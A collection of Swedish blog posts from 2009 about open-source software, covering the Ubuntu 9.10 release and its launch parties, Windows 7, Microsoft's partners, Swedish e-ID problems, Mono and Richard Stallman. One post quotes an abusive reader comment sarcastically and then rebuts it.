Remixen är färdigpreparerad med mediacodecs och andra tillägg som man i den vanliga Ubuntu-utgåvan behöver lägga till i efterhand, vilket underlättar mycket för de som vill prova på Ubuntu för första gången.

Remixen är baserad på Release Candidate-versionen av Karmic Koala, vilket innebär att den är tillräckligt stabil för att släppas. Versionen uppgraderas automatiskt via uppdateringshanteraren till den skarpa versionen av Karmic Koala, 9.10 så fort uppdateringar kommer. Det finns alltså ingen anledning att ominstallera när den officiella utgåvan lanseras.

Jag har inte testat den själv än, men jag planerar att göra det innan torsdag.

Läs även andra bloggares åsikter om 9.10, datorer, fri programvara, it, karmic koala, linux, ubuntu, öppen källkod

Större, bättre och vackrare

2009-10-23T17:32:00.004+02:00

Vår bästa blöja någonsin

Som säkert ingen har missat har Windows 7 haft säljpremiär. Det är hyllat på sida upp och sida ner som det operativsystem som Windows Vista borde ha varit. Jag har tidigare gnällt över att små förbättringar i operativsystem inte är så mycket att bli exalterad över och det står jag fast vid. Windows 7 verkar vara fullt av de små förbättringarna, men definitivt inga större nyheter. Åtminstone inte om man får tro reklamfilmerna. Snap, Crackle and Pop... Nej, Snap och Shake hette de ju. Helt klart värt en tusenlapp eller fem.

Än är det ingen som talar om eventuella svagheter. Kanske finns det inga, eller så är man så exalterad över att äntligen få ett Vista som fungerar att man bortser från det som är dåligt.

Sant är i alla fall att oavsett hur medelmåttig produkten är, så säljer man den som om den vore lösningen på allt ifrån svält till nageltrång. Och det gäller till viss del även Ubuntu, som jag brukar hylla. Apples reklammakare har satt fingret på det här:

Tänk på detta innan ni köper den där flaskan med ormolja, om den verkligen löser de problem ni har, eller om det handlar om att sälja. Själv skulle jag nog sitta nöjd med Windows XP om jag hade kört Windows, eftersom det innehåller allt jag behöver för att köra mina öppen källkods-programvaror. När det gäller fria programvaror behöver man åtminstone inte bekymra sig över att slänga pengar i sjön. Däremot kan man förlora en hel del tid som kunde spenderats till något roligare.

Jag har uppgraderat min bärbara dator till den Release Candidate (versionen innan den som släpps till allmänheten) av Ubuntu 9.10 med arbetsnamnet Karmic Koala. Allt ifrån trådlöst nätverkskort, till grafikkort, till USB-enheter fungerade utmärkt, med ett undantag. Nätverkshanteraren ville inte ge mitt 3G-modem några DNS-servrar att slå upp domännamn med. En buggrapport är registrerad och kommer att fixas innan släppet på torsdag.

Annars fungerade allting från start. Detta på en helt ny installation, inte en distributionsuppgradering från 9.04. Det är ett mycket gott betyg för Ubuntu Karmic Koala för min del.

Ubuntu.se har fått sin remix 3.0 testad av Datormagazin och fick ett mycket gott betyg. Det blir hela tiden enklare och enklare för vanliga människor att använda Linux. Och det finns stora planer på gång för att göra det ännu enklare att testa, utvärdera och använda Linux.

Det gläder mig.

Läs även andra bloggares åsikter om apple, datorer, fri programvara, linux, microsoft, ubuntu, öppen källkod

Studenter: Spara mer än 100% på öppen källkod!

2009-10-23T11:02:00.009+02:00

Har du också haft ont om pengar i slutet av månaden, på grund av oförutsedda utgifter? Alla vet att det dedikerade studentlivet kräver mycket omkostnader i form av kurslitteratur, skrivmaterial och inte minst nudlar och ketchup.

Har du också gett upp att försöka skriva med penna? Har du tröttnat på att köpa nya suddgummin? Har ditt papper gulnat? Då kan du behöva en dator. Men en dator utan program är ju bara bra till att palla upp ett för kort bordsben, eller för att hindra papper att flyga iväg när du sitter i den dragiga föreläsningssalen. Alternativt att dänga den i huvudet på pluggisarna som alltid verkar få några ynka fler poäng än dig på de där salstentorna i Mikrobiologi, trots att du har antivirusprogram installerat på din nya dator.

Alla har vi varit med om att nätverket har varit segt, att det förbannade gemet har poppat upp och försökt ge oss hjälp med någonting som vi absolut inte har någon som helst avsikt att göra, eller att felsökaren har föreslagit oss att sätta i elkontakten till skrivaren som vägrar skriva ut vår omsorgsfullt överarbetade praktikrapport. Detta kan upplevas som stressande för många.

Nu har lösningen på alla dina problem kommit! Har du också undrat hur den där snygga, framgångsrika ass-kissern som sitter längst fram till höger kan ha ett sånt ständigt leende på läpparna hela tiden?

Du behöver inte vänta längre!

Tusentals oberoende experter har kommit fram till det allra bästa sättet att få din dator användbar. Genom år av förfining och raffinerat utvecklande över det senaste och nyaste inom kommunikationsteknik, ett fenomen kallat INTERNET (!) har forskare kommit fram till att det går att göra datorprogram som inte skinnar studenter in i märgen. Men vänta, det är mer!

Om du väljer program med så kallad öppen källkod kan du spara inte 10, inte 50 utan 100%! Ja, du läste rätt! Spara 100% av dina pengar och blås dem på vin, kvinnor och sång, alternativ läppstift, strumpbyxor och cigg. Men vänta, det är mer! Om du beställer inom 1000 dagar, får du inte bara

utan extra kostnad. Du får även det här ihopfällbara skäggot:

S:t Ignucius, i Richard Stallmans tappning.

En actionfigur som är få förunnat att ha i sin samling! Allt till det facila priset av NOLL KRONOR.

Tveka inte, ring redan idag!

Läs även andra bloggares intressanta åsikter om datorer, ekonomi, fri programvara, it, microsoft, privatekonomi, student, studentekonomi, öppen källkod

Staaackars Microsoft

2009-10-22T16:23:00.002+02:00

Den 9-10 november hålls det arbetsmöte i Visby om den framtida IT-agendan i EU. Näringsdepartementet har skrivit en rapport inför mötet. I den står det, bland mycket annat att:

”Mer likvärdiga konkurrensvillkor på programmarknaden skulle kunna uppnås genom krav på enbart öppen källkod i offentliga upphandlingar”

Det lilla stycket får Valentino Berti, ordförande i Microsofts partnerförening, att gå i taket. Han hävdar att rapporten är en partsinlaga och ingen objektiv rapport. Partnerföretagen hävdar att

"Om offentlig sektor gick över till att enbart använda öppen källkod skulle det skapa kaos i näringslivet och det skulle skada både IT-industrin och den offentliga it-verksamheten."

Hur de har kommit fram till den slutsatsen är inte ämnet för den här bloggposten, så vi lämnar det därhän, även om det kan dras intressanta paralleller till upphovsrättslobbyns sätt att se på verkligheten. Men det är ett intressant medgivande att offentlig sektor är så beroende av de lösningar man kör nu att de som levererar lösningarna tror att det kommer bli pannkaka av alltihop om man ska försöka bygga sig ur det.

I nästa andetag säger Valentino Berti att

"vi är helt enkelt affärsmässiga och anpassar oss efter det som kunderna vill ha"

Man får förmoda att de gör det så länge inte kunderna vill ha öppen källkod. När nu kunderna vill ha öppen källkod borde det ju inte vara ett problem för partnerföretagen att leverera lösningar med källkoden inkluderad om de nu är så affärsmässiga och anpassningsbara. Eller så står Valentino Berti och ljuger pressen rakt i ögonen. När man har en så dominerande marknadsställning som Microsoft har idag är det inte märkligt att de vill ha det som det alltid har varit. Förnyelse och nytänkande kommer sällan från de stora jättarna, det finns det ändlösa exempel på i historien.

Men även om jag småbarnsnaivt hoppas att man slänger ut all stängd källkod och går över till öppna alternativ, tror jag inte att det är så det kommer att gå till. Snarare handlar det om att man i framtida upphandlingar och utvecklingsprojekt kommer att ha som skall-krav att källkoden ska skeppas med produkterna.

Och jag tror inte att man väljer en kammarprodukt framför en multinationell jättes megasystem om det inte löser problemet bara för att det är öppen källkod. Vinsten med en öppen källkodsprodukt är dock att man genom att starta ett utvecklingsprojekt i egen regi, eller leja bort det till externa konsulter, kan utöka och anpassa produkten efter de behov som finns.

Att det sedan är Valentino Berti som gråter ut i pressen värre än Kikki Danielsson är ju lite ironiskt då han applåderade stående när Microsoft lyckades kuppa igenom sitt dokumentformat OOXML (utan svensk medverkan) som ISO-standard. Varför den händelsen är en särdeles dålig sak inför framtiden kan ni få förståelse för om ni läser Påvels blogg om att äga sina dokument.

Läs även andra bloggares åsikter om datorer, fri programvara, it, microsoft, upphandling, öppen källkod

Varför frågar ingen mig om e-legitimation?

2009-10-21T18:37:00.002+02:00

I Computers Sweden läser jag en artikel vid namn Fyra snabba svar: Är du nöjd med din e-legitimation?. Svaren är kort och gott: JaJaNejJa. Det enda nejet är motiverat med "det är bra med förändring. Nuvarande e-legitimationer är osmidiga". Detta levereras av Gabriella Ekström, personalchef på Sogeti.

Osmidiga är inte riktigt ordet jag skulle ha valt. Inte krångliga heller. Sanningen (för mig) är att e-legitimationerna av idag suger svettig getpung.

Inte nog med att du för en mindre förjävlig upplevelse måste ha rätt operativsystem installerat, du behöver dessutom se till att du har rätt märke av webbläsare, i rätt version och kombinerat på rätt sätt. Glöm att utan massiv handpåläggning installera det på din favoritwebbläsare, om inte favoritwebbläsaren är Firefox 2.0 från förra århundradet. Om du har Linux eller något annat operativsystem som inte drönare 2.0 kör varje dag, då kan du räkna med att behöva installera en virtualiserad instans av Windows XP med Internet Explorer 6, ett åtta år gammalt operativsystem med en åtta år gammal webbläsare som stödjer webbstandarder lika bra som professor Kalkyl hör.

Som om inte det räckte, behöver du ha ett internetbankkonto för att få det hela att fungera. Ja, men det är ju logiskt, för när du vill ha utdrag från folkbokföringen, var går du då? Banken j.. nähä? Skattemyndigheten var det ja.

Vidare behöver du förlita dig på antingen företaget Finansiell ID-teknik, eller företaget Telia, vars föregångare Televerket spettade upp arbetstält som de lät gå i generationsskifte. Och källkoden till e-legitimationerna är stängd, implementationen av legitimeringssystemen måste köpas för dyra pengar. Det går alltså inte att legitimera sig på valfri tjänst, utan bara på de myndigheter som betalt dyra pengar för att implementera tekniken. Och alla myndigheter har inte implementerat e-legitimationssystemet på samma sätt, så vad som funkar på CSN behöver inte per automatik fungera på Försäkringskassan.

Så för att fylla i mina eventuella VAB-dagar behöver jag skaffa mig internetbank , Windows, Internet Explorer och ett arkitekturanknutet program, för att sedan på nåder använda tjänsten.

Osmidigt? Jovars.

Nu låter det att alla ska förbättra e-staten. Ja det är så dags nu. E-staten håller fortfarande på att käbbla om jorden är platt eller rund. Kanske dags att anställa några fjortonåriga kids, så att det blir ordning på torpet?

Läs även andra bloggares åsikter om bankid, datorer, e-förvaltning, e-legitimation, it, linux, windows, öppen källkod

Öppen källkod kan spara pengar

2009-10-21T07:42:00.002+02:00

Anders Lindbäck i Svenska Linuxföreningen pekar mig till en undersökning av Statistiska Centralbyrån (är det bara jag som känner "östblock" när jag hör det namnet?) som visar att de svenska företagen lade 18,9 miljarder kronor på programvara 2008. Alltså några miljarder mer än vad man lade på hårdvara (16,8 miljarder) samma år.

Jag är inte så naiv att jag tror att bara för att man använder fri program utan licenskostnad (vilket oftast är fallet om man använder öppen källkodsprogramvara) så kan man helt kapa de här 18 900 000 000 kronorna. Men genom att använda ett operativsystem utan licenskostnader, installera en kontorssvit utan licenskostnader på majoriteten av företagets datorer och virtualisera de showstoppers som håller företaget ifrån att gå över helt till öppen källkod, till exempel genom en terminalserver-lösning, borde man kunna skära betänkligt i miljarderna.

Jag vet att jag ibland låter som att öppen källkod skulle lösa alla problem, att det är någon sorts gyllene hammare, men jag tror verkligen att öppen källkod, åtminstone för små och medelstora företag, skulle kunna vara en ekonomiskt fördelaktig lösning som kan vara värd att titta på.

När det kommer till öppen källkod är det nästan aldrig, som Jan Zetterdahl, it-direktör på Stockholms Läns Landsting verkar tro, en fråga om att "enbart satsa på öppna program". Varför IDG har valt att kategorisera inlägget under "Öppen källkod" är mig en gåta. Speciellt då det enda artikeln innehåller om öppen källkod är citatet:

... öppen källkod: ”Jag arbetade med det när jag var på Premiepensionsmyndigheten och det är en bra erfarenhet att ha med sig. Men Stockholms läns landsting har inga planer på att enbart satsa på öppna program just nu. Däremot tror jag att staten kommer att ställa tuffare krav på offentlig förvaltning att undersöka möjligheterna med öppna program i framtiden.”

Det utlöser bara ett enda stort "jaha" för mig. Tack IDG.

Öppen källkod behöver inte heller betyda att man måste gå "all in" på Linux. Det går alldeles utmärkt att köra öppen källkodsprogram i Windows också. Att byta operativsystem kan vara ett stort steg för många, och det är därför jag återigen vill påminna om release-festerna för nya Ubuntu den 29 oktober som anordnas över hela landet. Om man behöver någon att rådfråga om öppen källkod, Ubuntu eller Linux i allmänhet, kom dit och ställ en fråga eller två. Det kostar inget.

Andra som skrivit om träffarna:
Barre
Little John
Anohito
Ubuntu för alla
Öppen källkod für alle
Software Freedom Day Sverige
TechRisk
rancor

Läs även andra bloggares åsikter om datorer, fri programvara, it, landsting, linux, stockholm, ubuntu, öppen källkod

29 okt: Releaseträffar för Ubuntu 9.10

2009-10-20T12:28:00.002+02:00

Torsdagen den 29 oktober är det dags för nästa version av Linux-distributionen Ubuntu. Vi som gillar Ubuntu i Sverige kommer åtminstone inte att låta släppet av Ubuntu Karmic Koala gå förbi obemärkt. Vi ordnar release-träffar i 20 städer runt om i landet och hoppas att ni vill komma och fira med oss.

De städer där träffar anordnas är: Borås, Gävle, Göteborg, Halmstad, Helsingborg, Jönköping, Kalmar, Karlstad, Linköping, Malmö, Skövde, Slite (Gotland), Stockholm, Sundsvall, Trollhättan, Umeå, Uppsala, Västerås, Örebro och Östersund.

Vi firar med mat och dryck. Kom och träffa Linux-intresserade, oavsett om du är opolitisk, är medlem i piratpartiet, centerpartiet, socialdemokraterna, miljöpartiet, folkpartiet, moderaterna, kristdemokraterna, feministiskt initiativ, vänsterpartiet eller något annat parti, oavsett om du kör Ubuntu, openSuSE, Fedora, DSL, eller Windows är du välkommen att delta.

Ubuntus styrka har alltid varit gemenskapen och den kommer nu att växa sig ännu starkare, med lokala initiativ som möjliggör även för de som inte känner sig bekväma med att ställa frågor i internetforum och chattar att få hjälp med, använda och växa med Ubuntu.

Information om träffarna kan hittas på fosskalendern.se, kalendern för svenska evenemang om fri programvara och öppen källkod (FOSS = Free and Open Source Software).

Läs mer i pressmeddelandet.

Bloggar: LittleJohn på IDG.se, software freedom day sverige, Öppen källkod für alle.

Media: IDG.se

Läs även andra bloggares intressanta åsikter om datorer, fri programvara, it, linux, ubuntu, öppen källkod

Ub(r)untu 9.10 och gemenskapen

2009-10-18T09:47:00.005+02:00

En gång i tiden sa Mark Shuttleworth (mannen som startade Ubuntu-projektet) att Ubuntu skulle bli snyggare än Mac OS X. Efter att ha testat beta-versionen av nya Ubuntu Karmic Koala kan jag konstatera att man kommit en bit på väg, men har en ganska lång väg kvar för att få den professionella, rena känslan som Mac OS X ger mig vid första anblicken.

Problemet som Ubuntu (eller de flesta Linux-distributioner) lider av, är att utvecklingen inom skrivbordsgenren inte gör samma episka framsteg som för några år sedan. Numera är det stegvisa förbättringar som hela tiden gör produkterna bättre, men det kommer inte så många stora nyheter. Det är svårt att bli upphetsad över och skapa buzz kring ett nytt uppstartsutseende, en ny bakgrundsbild, ett nytt sätt att hantera programinstallationer, lite nya ikoner eller alla de tusentals småförbättringar som hela tiden sker.

Bild från Lathund.

Default-utseendet i Ubuntu är fortfarande brunt, nu med ett inslag av lite gult också, vilket vissa associerar med annat än datorer. Man har som tur är inkluderat en mängd andra bakgrundsbilder som man enkelt kan byta till.

Precis som Tord Jansson så har jag en del reservationer över hur det kommer att gå för Ubuntu 9.10. Risken är att Ubuntu-släppet drunknar i press-tsunamin som kommer att omge lanseringen av Windows 7. Och vi inom öppen källkodsrörelsen har som bekant inte varit bra på samordnade aktioner. Every (wo)man for (her/)himself verkar vara modellen. Ett lite humoristiskt exempel är att jag blev beskylld för att göra egen marknadsföring (på ett annat forum). När det sen framkom att jag (i princip) gjorde egen marknadsföring på det egna forumet, då var det lugnt. För speciellt mycket uppslutning kring projektet har det inte blivit. Se så många (0) svar som det sist länkade inlägget gett. Kanske är det mitt eget fel att jag inte kan engagera tillräckligt många att hjälpa till.

För såhär är det: All marknadsföring av Ubuntu är av godo. Oavsett vem som gör den, vem som finansierar den och vilka organisationer som står bakom. Det finns de som anser att vi har ett antal konkurrerande forum i Sverige. Det är fel. Vi har ett antal webbplatser som har lite olika inriktning, men deras syfte är det samma. Att främja Ubuntu på alla sätt och vis. Vi konkurrerar inte om användare, vi "stjäl" inte användare av varandra och det spelar ingen roll hur mycket man korslänkar mellan de olika forumen.

Vi i Ubuntu Sveriges officiella gemenskap har ett övergripande ansvar för Ubuntu i Sverige. Om man på Ubuntu.se löser ett problem som ingen på Ubuntu-se.org har möjlighet att lösa är det bra för Ubuntu, inte bara bra för Ubuntu.se. Likadant är det om projekt drivs under den officiella gemenskapen, är projektet framgångsrikt är det bra för hela Ubuntu i Sverige och ska därför premieras på alla sätt. Det finns ingen som tjänar på att vi tjafsar inbördes, eller av gammal stolthet undviker att engagera oss i vissa projekt. Med Marcellus Wallace (från Pulp Fiction) ord:

Fuck pride! Pride only hurts, it never helps.

Som jag sagt tidigare, det är lättare att vifta bort trehundra ilskna flugor än en stor tjur. Låt oss inte förblindas av distributions-tjafs, interna stridigheter och stolthet. Själv ser jag fram emot Release-festerna för Karmic Koala den 29 oktober (se fosskalendern också), som är öppna för alla öppen källkods-entusiaster, inte bara Ubuntards.

Läs även andra bloggares åsikter om 9.10, datorer, fri programvara, it, karmic koala, linux, ubuntu, öppen källkod

Öppenhet även i nätverksenheter

2009-10-07T11:33:00.004+02:00

Öppen källkod har slagit igenom på bred front när det gäller serverprogramvara och är på god väg att erövra telefoner, skrivbordsdatorer och inbyggda enheter också. Nu släpper Netgear en router baserad på de öppna källkods-systemen OpenWRT, DD-WRT och Tomato.

Routrar har väl de flesta i internet-generationen hemma redan, men det riktigt coola med den här prytteln är inte bara de klart godkända specifikationerna, som inkluderar 300Mbit/s trådlöst (802.11n), 5 gigabit-portar, USB-port och annat smått och gott, utan att det går att installera program på den, via exempelvis www.myopenrouter.com. Genom den öppna källkoden kan du själv bestämma vad som ska köras på routern, vilket innebär att du kan göra om den till inte bara en router utan också till webbserver, mailserver eller filserver genom att ansluta en USB-hårddisk. Bara fantasin (och prestandan förstås) sätter gränser för vad som kan göras.

Barre har lite mer tekniska detaljer kring WNR3500L och är sugen på inköp. Och vem blir inte det?

Jag hittar bara prisuppgifter på WNR3500 (utan L), men om L-versionen ligger på runt 800 spänn den också så ska den definitivt hamna på inköpslistan.

Den öppna källkoden garanterar att uppdateringar och vidareutveckling kommer att ske på produkten under lång tid framöver, om inte av företaget självt så av entusiaster som gillar den. Och det är bra såväl för framtiden som för plånboken.

Läs även andra bloggares åsikter om fri programvara, ieee 802.11n, linux, netgear, openwrt, router, öppen källkod

Operativsystem på USB: framtiden är redan här!

2009-09-30T13:14:00.002+02:00

Efter tips på ubuntu-se.orgs forum läser jag en artikel i Göteborgsposten som handlar om att välja mest prisvärda USB-minne. När jag hunnit till slutet så kan jag inte undgå att skratta högt, trots att jag visste vad som skulle komma:

Det spekuleras i att man i framtiden kommer att bära med sig ett USB-minne som innehåller ens eget operativsystem till olika datorer, i stället för att flytta själva datorn.

Från Microsoft-driver-inte-innovationen-längre-avdelningen kommer nyheten att Linux-operativsystem kunnat göra detta sedan åtminstone 2007, troligtvis ännu tidigare. Tänk vad mycket spännande som våra kära journalister har gått miste om. Kanske dags att kalla till en presskonferens i samband med release-festerna för Karmic Koala den 29:e oktober.

Andra läsvärda bloggposter idag är Niklas Anderssons könsfördelningskrönika om den totalt överväldigande delen män inom öppen källkodsvärlden. Visserligen slår han in några öppna dörrar, men den förtjänar ändå att lyftas fram.

br0ther har skrivit ett intressant inlägg om utveckling för den lättviktiga skrivbordsmiljön LXDE, som är tänkt för äldre och mindre resursstarka datorer.

Barre har kanske hittat världens största Ubuntu-logo.

Läs även andra bloggares åsikter om datorer, fri programvara, it, linux, ubuntu, usb, öppen källkod

Mono .NET: pure evil eller bra skit?

2009-09-29T15:57:00.002+02:00

Mono är en Linux-implementation av (så gott som enbart) Microsofts .NET-teknik. Tanken är att man på ett enkelt sätt ska kunna köra alla program utvecklade för .NET i Linux. Problemet i dagsläget är att Mono släpar efter .NET en hel del, men man kan väl misstänka att en del kommer att göras på den fronten då Miguel de Icaza, upphovsmannen bakom Mono har börjat jobba på Microsofts öppen källkods-avdelning CodePlex.

Ubuntu tycker tydligen att det är bra med Mono utan några reservationer och jag hade ingen direkt åsikt i frågan, tills jag läste Barres deprimerade blogg och funderade lite. Tanken på att återigen ha DLL-HELL på min dator gör mig inte direkt vänligt inställd. Det är ett av Windows stora problem. Eller har åtminstone varit, nu vet jag inte hur det ligger till längre.

Hur som helst vill jag inte ha DLL-hell i min dator.

Att GNUs fader Richard Stallman är skeptisk till det är inte konstigt. Han ser det som ett sätt för Microsoft att döda fri programvara, vilket det säkert ligger åtminstone någon ynklig bit sanning i. Microsoft är ju ett vinstdrivande företag och som sådant ser det inte med blida ögon på konkurrens från öppen källkods-baserad programvara.

Sanningen ligger nog någonstans mitt emellan Mono-kramarna och Stallman, men som någon kommentator sa på IDG.se, det kanske är dags att dra öronen åt sig när alla kommentatorer som vanligtvis gillar Microsoft, hyllar tekniken..

Läs även andra bloggares åsikter om datorer, fri programvara, it, linux, microsoft, mono, ubuntu öppen källkod

Bloggosfären drivs av självisk osjälviskhet

2009-09-27T14:41:00.002+02:00

Alla vill vi ha läsare till bloggarna vi skriver i. Annars vore vi inte skribenter. För oss själva är våra åsikter värda att dela med sig av, de kan rent av vara de viktigaste som finns. För oss. Det är oftast därför vi skriver, för att vi vill dela med oss av våra tankar till andra.

Så hur lockar man då läsare till sin blogg? Det är väl inte direkt det jag tänkte svara på, det finns det mer initierade människor som har koll på. Men ett sätt är skriva om intressanta ämnen, ett annat är att intressera människor för just ens egna ämnen.

Mitt stora ämne som jag skriver om är öppen källkod och fri programvara, i dagligt tal förkortat FOSS (Free and Open Source Software). Vi är ganska många som skriver om detta ämne, och vi skriver på många olika sätt. En del skriver HowTo-bloggar, av typen "så får du igång det här programmet i den Linux-distributionen" eller "så konfigurerar du din brandvägg i FreeBSD". Andra skriver om de filosofiska aspekterna bakom fri programvara, eller nyhetsrapporterar om var de senaste Linux-installationerna gjorts runt om i världen.

Problemet är att det inte förekommer någon länkning mellan dessa bloggar, mig veterligen. Alla strävar på i sin egen lilla del av internet. Ett bra exempel är Little John och Lathund, som båda skrivit om Firefox-tillägget Screengrab oberoende av varandra, utan att länka till varandra eller bygga på varandras arbete.

Det förekommer mycket liten länkkärlek mellan öppen källkodsbloggarna och det tycker jag är väldigt synd. Vi skulle behöva ett nav, som opassande.se som är underbar på att länka samman och sålla bland blogginlägg. Hon ger otroligt mycket länkar och får därför många tillbaka, eftersom det hon länkar ofta är relevant och läsvärt för hennes läsekrets. Hon är ett praktexempel som vi skulle kunna ta efter. Därför har jag startat ett projekt för att öka integrationen mellan bloggar. Om du är en registrerad forumbesökare på ubuntu-se.org's forum så kan du ta del av vår projekttavla och se hur det kan gå till.

Genom att osjälviskt länka till andras bloggar och andra personers inlägg, kan vi få igen en hel del webbtrafik från dem och också få länkar tillbaka. Till och med utanför vår egen lilla ankdamm Ubuntu-planeten. ;) Genom att vara osjälviska och generösa med länkar, vinner vi kanske en ny läsekrets och får gehör för våra egna ämnen.

Det omaket kan det vara värt.

Läs även andra bloggares åsikter om bloggar, bloggosfären, fri programvara, it, linux, ubuntu, öppen källkod

GNU:s fader Stallman - en föredetting?

2009-09-27T13:09:00.004+02:00

Richard Stallman är mannen som instiftade GNU-projektet, Free Software Foundation och skrev GNU General Public License, det fundament som operativsystemet Linux (eller GNU/Linux) vilar på. Richard M. Stallman har varit kontroversiell rätt länge. Han och Free Software Foundation har under åtminstone tio års tid fört krig mot Microsoft och deras produkter, med kampanjer som BadVista och Windows 7 sins, som enligt vissa informerar om fria alternativ och enligt andra bara förstör för fri programvara och öppen källkod.

Det finns två tjocka grenar av FOSS-trädet och den ena är den som fokuserar på friheten för användaren och kallar programvaran för Fri. Den andra grenen fokuserar på programvaran i första hand och kallar i princip samma företeelse för Öppen källkod.

Stallman har nu återigen hamnat i blåsväder genom att kalla en före detta medarbetare på Free Software Foundation för förrädare. Detta då personen ifråga nu börjat jobba på Microsofts öppen källkods-satsning CodePlex, istället för på Novell där han tidigare utvecklat en öppen variant av .NET kallad Mono. Stallman hävdar att Mono och dess implementation av programmeringsspråket C# bara är ett nytt sätt för Microsoft att köra sin gamla Embrace, Extend, Extinguish-taktik och blåsa hål i öppen källkods-skutan genom att implementera en öppen teknik, utöka den med egna tillägg, för att sedan ta död på den öppna tekniken genom sitt marknadsövertag.

IDG:s egen öppen källkods-bloggare Niklas Andersson är ingen fan av Stallman och menar att Stallman har ramlat igenom genialitetens papperstunna vägg som skiljer honom från galenskap.

Barre på Gargamel.NU är inne på en lite annan linje. Han menar som jag att öppen källkod och fri programvara har Stallman att tacka för mycket (inte minst att Microsoft dragit igång CodePlex över huvud taget), och att det tenderar att glömmas bort i hatstormen som följer efter de här radikala uttalandena. En balanserad kommentar på IDG lyser upp min afton:

men far åt helvete, jäävla pucko!

Gud vad trött jag blir på dumjävlen. För det första heter det Linux och har alltid hetat linux. Gnu är en pyttedel av linux och ska inte ha nån cred eftersom det enkelt kan bytas ut mot bättre alternativ.

För det andra är inte stallman för öppen källkod, vilket tydligt demonstreras ovan. Han är som de idioter här inne som är emot stängd kod, dvs en ren antirörelse.

Skit du i var koden kommer ifrån och var glad att den är öppen, gubbjävel. Gå sen och dö så jag slipper skämmas å öppen källkods vägnar.

DUMJÄVEL!
itix

Det tål att påpekas att GNU-projektets bidrag till ett Linux-system är runt 15%, medan Linux-kärnan (som systemet är döpt efter) står för runt en halv (förvisso viktig) procent. Sen glömmer kommentatorn bort att utan GNU GPL, under vilken Linux-kärnan är licensierad, skulle vi kanske inte ha något Linux alls i dagsläget. Och utan de program som GNU-projektet släppt, bland annat C-kompilatorn GCC skulle det inte ha funnits ett embryo att jobba utifrån.

Stallman är en extremist, det tror jag inte att någon har inväningar emot. Han strävar mot att all information och all programvara ska vara fri och är den inte det så bojkottar han den.

Att säga att det är fel per se är som att säga till Millicent Fawcett att hon inte borde ha strävat efter rösträtt för alla kvinnor, utan bara för de med adlig börd, eller att yttrandefrihet på internet skulle gälla ackrediterade journalister, eller de som sitter på tillräckligt mycket pengar, eller har rätt etnicitet.

Genom att, som Barre säger, "sikta mot stjärnorna, så når du trädtopparna". Det behövs idealister för att nå halvvägs eller kanske inte ens det. Pragmatiker i all ära, men utan visionärerna och extremisterna så kommer man inte långt på vägen mot slutmålet.

Jag är inte rätt person att svara på om Richard Stallman har spelat ut sin roll eller inte, men jag hävdar att det är viktigt att det finns människor med fasta principer för att driva en frihetsrörelse, oavsett på vilket område man rör sig. Det gäller för öppen källkodsrörelsen, det gäller för organisationer som propagerar för mänskliga rättigheter och det gäller för piratpartiet och därmed löst affilierade organisationer.

Annars blir det bara en liten tumme av alltsammans.

Läs även andra bloggares åsikter om datorer, extremism, fri programvara, gnu, idealism, it, linux, microsoft, öppen källkod

Ubuntu BugJam i Linköping

2009-09-26T21:42:00.004+02:00

Den andra till fjärde oktober (2-4 okt) är det dags för det återkommande Ubuntu Global Jam. Det är en internationell happening där man jobbar på Ubuntu antingen genom att leta buggar, skriva dokumentation, testa, översätta eller paketera program, eller andra saker.

Genom att anordna lokala sammankomster sprider man genom initierade personer kunskapen vidare till andra i en typ av mentorsystem och får därmed en samlat större kunskap om bugghantering, dokumentationsskrivande, testningsförfaranden och paketering.

I samband med detta evenemang anordnas ett Ubuntu BugJam på Linköpings Universitet, där Andreas Olsson, TeamContact för Ubuntu Sverige håller i tåtarna. Andreas har god koll på BugTriage för Ubuntu och kommer att fokusera på detta område, men det är givetvis helt öppet att ägna sig åt annat Ubuntu-hackande, komma och bara hälsa på andra Ubuntu-användare eller vad det vara månde.

Även om anmälan inte är ett krav, är det trevligt om det görs för planeringens skull. Se vidare information på Ubuntu Sveriges wikisida om Global Jam. Linuxportalen har också en blänkare.

Bara det att Barre också ska dit är skäl nog för mig att åka. Skönare snubbe får man leta efter.

Läs även andra bloggares åsikter om buggar, bugjam, datorer, fri programvara, global jam, linköping, linux, ubuntu, öppen källkod

Var är Piratpartiet på Software Freedom Day?

2009-09-18T08:58:00.004+02:00

Ända sedan partiets grundande har jag känt en viss samhörighet med Piratpartiet. Det har känts som att jag och partiet kämpat för liknande frågor, och båda partiledarna har till och med varit inne och försvarat sig på bloggen när det kommer till partiets inställning till öppen källkod och fri programvara. Efter att nu ha lagt ner rätt mycket tid för att få ut ett budskap om fri programvara och öppen källkod till allmänheten undrar jag var partimedlemmar och partiets toppbloggare håller hus i sammanhanget? Imorgon lördag är det dags för Software Freedom Day och än har jag inte sett en enda bloggpost om det från PP-håll.

Jag är inte i någon position att kräva engagemang i en av partiets mindre profilfrågor, men jag måste säga att jag hade väntat mig mer uppslutning kring Software Freedom Day. Lite gratisåkning kanske ni tycker, men det är inte riktigt så jag menar. När Rick Falkvinge går ut och pratar sig varm om öppen källkod i offentlig sektor och om fri tillgänglighet till information genom användande av öppna dokumentformat, känner jag att målen för öppen källkods-rörelsen och Piratpartiet sammanfaller. Vi borde därför kunna samordna våra resurser för att komma ut med vårt budskap i just den frågan.

Öppen källkods-rörelsen har historiskt sett varit episkt dålig på att nå utanför sin egen sfär. Vi håller gärna till på våra egna forum och rör oss väldigt lite utanför dessa. Speciellt dåliga är vi på att utnyttja bloggkärlek för att dela information mellan varandra och länka till höger och vänster. Software Freedom Day är en av dagarna där vi faktiskt rör oss utanför de egna leden och går ut och pratar med vanligt folk.

SFD 2009 Goodies Packing from Fred Muller on Vimeo.

Piratpartiet och de som bloggar om piratfrågor har möjlighet att nå väldigt många människor som annars inte skulle bry sig om dessa samhällsekonomiskt viktiga frågor. Men ingen av de jag kontaktat verkar över hövan intresserade av att sprida informationen. Jag är som sagt inte i position att bli besviken, men jag måste medge att jag har haft större förhoppningar på Piratpartiet i detta.

Inte heller Sveriges (enda?) öppen källkods-journalist Niklas Andersson på IDG.se har tagit upp tråden. Förmodligen är Software Freedom Day lite för fylld av ideologi för hans del, men då även ekonomiska aspekter lyfts upp på agendan borde åtminstone den delen appellera på de som gillar öppen källkod från den horisonten. Jag har också kontaktat Tommy K. Johansson, "Sveriges största IT-bloggare", för att han om möjligt skulle kunna "göra reklam" för den podcast (MP3-torrent och OGG-torrent) jag gjort för att få ut budskapet i en annan form än det skrivna ordet, men även det har varit utan framgång. Drygt 100 nedladdningar på en befolkning på 9 miljoner kan inte annat än räknas som ett stort fiasko. Det är de närmast sörjande Linux-nördarna som stått för lejonparten av den siffran.

